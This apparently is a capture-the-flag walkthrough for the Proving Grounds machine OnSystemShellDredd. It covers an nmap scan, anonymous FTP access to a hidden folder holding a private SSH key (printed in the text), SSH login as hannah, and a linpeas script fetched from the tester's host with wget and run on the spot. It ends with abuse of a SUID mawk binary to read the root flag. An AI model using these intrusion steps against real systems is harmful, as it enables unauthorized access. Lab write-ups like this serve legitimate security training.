shell, spiral, closeup-4910357.jpg

Proving Grounds: OnSystemShellDredd Walkthrough

, ,

Machine Stats

Name
OnSystemShellDredd

OS
Linux

Rating
Easy

Enumeration

I started by running my standard nmap scan..

└─$ nmap -A -T4 -p- 192.168.195.130                                    130 ⨯
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-22 21:09 EDT
Nmap scan report for 192.168.195.130
Host is up (0.031s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT      STATE SERVICE VERSION
21/tcp    open  ftp     vsftpd 3.0.3
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:192.168.49.195
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
61000/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 59:2d:21:0c:2f:af:9d:5a:7b:3e:a4:27:aa:37:89:08 (RSA)
|   256 59:26:da:44:3b:97:d2:30:b1:9b:9b:02:74:8b:87:58 (ECDSA)
|_  256 8e:ad:10:4f:e3:3e:65:28:40:cb:5b:bf:1d:24:7f:17 (ED25519)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.30 seconds

I always run a full TCP/UDP port scan as well, which produced no other results.

Seeing anonymous FTP is available, I logged in and found a hidden .folder in the FTP root directory

└─$ ftp
ftp> o
(to) 192.168.195.130
Connected to 192.168.195.130.
220 (vsFTPd 3.0.3)
Name (192.168.195.130:anonymous): anonymous
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -lah
229 Entering Extended Passive Mode (|||17554|)
150 Here comes the directory listing.
drwxr-xr-x    3 0        115          4096 Aug 06  2020 .
drwxr-xr-x    3 0        115          4096 Aug 06  2020 ..
drwxr-xr-x    2 0        0            4096 Aug 06  2020 .hannah
226 Directory send OK.
ftp> cd .hannah
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||47719|)
150 Here comes the directory listing.
-rwxr-xr-x    1 0        0            1823 Aug 06  2020 id_rsa
226 Directory send OK.

This looks like it could be a key, so I’ll grab it.

ftp> get id_rsa
local: id_rsa remote: id_rsa
229 Entering Extended Passive Mode (|||7093|)
150 Opening BINARY mode data connection for id_rsa (1823 bytes).
100% |********************************|  1823        1.68 MiB/s    00:00 ETA
226 Transfer complete.
1823 bytes received in 00:00 (61.89 KiB/s)

Yep, this is looking like a key for sure.

└─$ cat id_rsa              
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAQEA1+dMq5Furk3CdxomSts5UsflONuLrAhtWzxvzmDk/fwk9ZZJMYSr
/B76klXVvqrJrZaSPuFhpRiuNr6VybSTrHB3Db7cbJvNrYiovyOOI92fsQ4EDQ1tssS0WR
6iOBdS9dndBF17vOqtHgJIIJPGgCsGpVKXkkMZUbDZDMibs4A26oXjdhjNs74npBq8gqvX
Y4RltqCayDQ67g3tLw8Gpe556tIxt1OlfNWp3mgCxVLE1/FE9S6JP+LeJtF6ctnzMIfdmd
GtlWLJdFmA4Rek1VxEEOskzP/jW9LXn2ebrRd3yG6SEO6o9+uUzLUr3tv9eLSR63Lkh1jz
n5GAP3ogHwAAA8hHmUHbR5lB2wAAAAdzc2gtcnNhAAABAQDX50yrkW6uTcJ3GiZK2zlSx+
U424usCG1bPG/OYOT9/CT1lkkxhKv8HvqSVdW+qsmtlpI+4WGlGK42vpXJtJOscHcNvtxs
m82tiKi/I44j3Z+xDgQNDW2yxLRZHqI4F1L12d0EXXu86q0eAkggk8aAKwalUpeSQxlR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HD9hkCPIq7Sc/TAAAADXJvb3RAT2ZmU2hlbGwBAgMEBQ==
-----END OPENSSH PRIVATE KEY-----

User Account

Let’s set the proper permissions on this private key and use it to ssh into the server. Because the hidden .folder was called hannah, we’ll make a reasonable assumption that the username here is hannah.

chmod 400 id_rsa

ssh -i id_rsa [email protected] -p 61000
Linux ShellDredd 4.19.0-10-amd64 #1 SMP Debian 4.19.132-1 (2020-07-24) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
hannah@ShellDredd:~$

Privilege Escalation & Root Flag

I’m going to grab linpeas from my Kali box and run it to look for privilege escalation opportunities…

hannah@ShellDredd:~$ wget 192.168.49.195/linpeas.sh && chmod +x linpeas.sh && ./linpeas.sh

Two items stood out to me immediately:

╔══════════╣ SUID - Check easy privesc, exploits and write perms
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-and-suid                                                                              
strings Not Found                                                                                                                                        
strace Not Found                                                                                                                                         
-rwsr-sr-x 1 root root 120K Mar 23  2012 /usr/bin/mawk
-rwsr-sr-x 1 root root 23K Jun 23  2017 /usr/bin/cpulimit

These binaries have a SUID bit set and can be found on GTFOBins.

If the binary has the SUID bit set, it does not drop the elevated privileges and may be abused to access the file system, escalate or maintain privileged access as a SUID backdoor. To interact with an existing SUID binary … run the program using its original path.

Using this information, I ran the mawk binary and used it to read the root flag.

hannah@ShellDredd:~$ LFILE=/root/proof.txt
hannah@ShellDredd:~$ mawk '//' "$LFILE"
f96480e6ca570bf2f2547ce84aeeb28d

I submitted this flag and it was accepted.

Scroll to Top